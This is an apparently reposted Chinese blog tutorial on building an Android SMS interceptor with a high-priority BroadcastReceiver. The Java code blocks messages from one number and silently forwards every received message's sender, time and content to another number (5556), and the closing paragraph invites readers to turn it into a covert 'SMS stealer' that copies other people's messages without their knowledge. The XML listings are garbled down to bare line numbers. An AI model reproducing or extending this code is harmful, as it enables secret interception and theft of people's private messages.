博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
短信拦截器
阅读量:6403 次
发布时间:2019-06-23

本文共 4428 字,大约阅读时间需要 14 分钟。

今天利用广播机制做了一个短信拦截器。在我做的这个拦截器中,可以有两种方式来设置拦截,一种是在AndroidManifest.xml直接设置拦截,另外一种是通过手动注册来设计拦截。在这里我们需要通过查文档找到短信收发的一些权限。

 

下面我附上自己做的这个拦截器的代码供大家参考。

 

main.xml

 

1 
2
7
13
19

 

首页显示的SmsListenerActivity:

 

1 package cn.yj3g.SmsListener;  2  3 import android.app.Activity;  4 import android.content.IntentFilter;  5 import android.os.Bundle;  6 import android.view.View;  7 import android.widget.Toast;  8  9 public class SmsListenerActivity extends Activity {
10 private SmsRecevier recevier; 11 private boolean isregiset = false; 12 private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED"; 13 14 @Override 15 public void onCreate(Bundle savedInstanceState) {
16 super.onCreate(savedInstanceState); 17 setContentView(R.layout.main); 18 recevier = new SmsRecevier(); 19 } 20 public void regiset(View v) {
21 IntentFilter filter = new IntentFilter(ACTION); 22 filter.setPriority(1000);//设置优先级最大 23 registerReceiver(recevier, filter); 24 isregiset = true; 25 Toast.makeText(this, "注册成功", 0).show(); 26 } 27 28 public void unregiset(View v) {
29 if (recevier != null && isregiset) {
30 unregisterReceiver(recevier); 31 isregiset = false; 32 Toast.makeText(this, "解注册成功", 0).show(); 33 } else 34 Toast.makeText(this, "尚未注册", 0).show(); 35 } 36 @Override 37 protected void onDestroy() {
38 super.onDestroy(); 39 if (recevier != null && isregiset) {
40 unregisterReceiver(recevier); 41 isregiset = false; 42 Toast.makeText(this, "解注册成功", 0).show(); 43 } 44 } 45 }

 

如果是利用手动的来注册拦截,那么就不需要在AndroidManifest.xml中设置recevier了。不过利用手动的来设置拦截,那就和做的这个拦截器的需要不相符了,这里我只是为了更加明显的说明广播的机制。

 

AndroidManifest.xml:

 

1 
2
6
7 8
9
11
12
13
14
15
16
23
24
25
26
27

 

SmsRecevier类用作拦截信息。

 

1 package cn.yj3g.SmsListener;  2  3 import java.text.SimpleDateFormat;  4 import java.util.Date;  5  6 import android.content.BroadcastReceiver;  7 import android.content.Context;  8 import android.content.Intent;  9 import android.telephony.SmsManager; 10 import android.telephony.SmsMessage; 11 import android.util.Log; 12 13 public class SmsRecevier extends BroadcastReceiver {
14 public SmsRecevier() {
15 Log.v("TAG", "SmsRecevier create"); 16 } 17 18 @Override 19 public void onReceive(Context context, Intent intent) {
20 Log.v("TAG", "SmsRecevier onReceive"); 21 Object[] pdus = (Object[]) intent.getExtras().get("pdus"); 22 if (pdus != null && pdus.length > 0) {
23 SmsMessage[] messages = new SmsMessage[pdus.length]; 24 for (int i = 0; i < pdus.length; i++) {
25 byte[] pdu = (byte[]) pdus[i]; 26 messages[i] = SmsMessage.createFromPdu(pdu); 27 } 28 for (SmsMessage message : messages) {
29 String content = message.getMessageBody();// 得到短信内容 30 String sender = message.getOriginatingAddress();// 得到发信息的号码 31 if (sender.equals("110")) {
32 abortBroadcast();// 中止发送 33 Log.e("TAG", "此号码为黑名单号码,已拦截!"); 34 } 35 Date date = new Date(message.getTimestampMillis()); 36 SimpleDateFormat format = new SimpleDateFormat( 37 "yyyy-MM-dd HH:mm:ss"); 38 String sendContent = format.format(date) + ":" + sender + "--" 39 + content; 40 SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的 41 smsManager.sendTextMessage("5556", null, sendContent, null, 42 null);// 转发给5556 43 Log.v("TAG", sendContent); 44 } 45 } 46 } 47 }

 

运行界面如下:

 

 

当点击注册拦截后,拦截到110发给别人的信息时,TAG中会得到如下运行结果:

 

 

 

 

这样一个短信拦截器就做好了,当110这个号码给别人发信息时,就会被拦截,转发给5556。我们可以通过Log的打印信息来观察结果。当然我们可以做一个不拦截,但是可以窃取短信的短信窃取器。怎么做呢?和上面差不多,只是不需要拦截了,而是利用短信在发送给指定人的同时让它也发给自己,这样就可以做到不动声色的窃取别人的信息内容了。这个留给大家去思考吧。

转载地址:http://eznea.baihongyu.com/

你可能感兴趣的文章
从零学习Fluter(七):Flutter仿boss直聘以及Flutter打包apk详解
查看>>
DOS Network一月项目月报
查看>>
【重磅】Chameleon 开放跨端扩展标准协议
查看>>
Android WebView安全方面的一些坑
查看>>
OkHttp解析
查看>>
云原生生态周报 Vol. 6 | KubeCon EU 特刊
查看>>
每年 13 亿吨食物遭浪费,如何用 AI 助餐厅后厨省粮
查看>>
DevOps工程师到底做些什么?
查看>>
git 几个高级用法
查看>>
傻傻分不清的Manifest
查看>>
AbstractQueuedSynchronizer
查看>>
CSS居中
查看>>
集智学园知识星空——前端技术实现分析(一)
查看>>
SpringCloud学习系列之七 ----- Zuul路由网关的过滤器和异常处理
查看>>
Http接口测试平台
查看>>
接口自动化之接口整理(抓包)
查看>>
阿里云大数据认证——使用时间序列分解模型预测商品销量-课堂笔记
查看>>
Java面试
查看>>
React组件方法的两种定义方式
查看>>
小白的进阶之路之vue源码解读(1)
查看>>